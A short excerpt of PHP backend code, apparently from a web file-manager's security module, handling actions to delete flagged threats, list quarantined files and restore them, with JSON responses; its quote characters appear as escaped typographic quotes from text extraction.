$result = btDeleteThreats($baseDir, $paths);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;
case \’blue_quarantine_list\’:
$result = btListQuarantine($baseDir);
jsonOut($result);
break;
case \’blue_restore\’:
$ids = _v($input, \’ids\’, array());
if (is_string($ids)) {
$decoded = json_decode($ids, true);
$ids = is_array($decoded) ? $decoded : array($ids);
}
$result = btRestoreThreats($baseDir, $ids);
if (!$result[\’ok\’]) jsonOut($result, 400);
jsonOut($result);
break;
default:
jsonOut(array(\’ok\’ => false, \’error\’ => \’Unknown action\’), 400);
}
exit;
}
?>
Loading workspace…
Fetching your files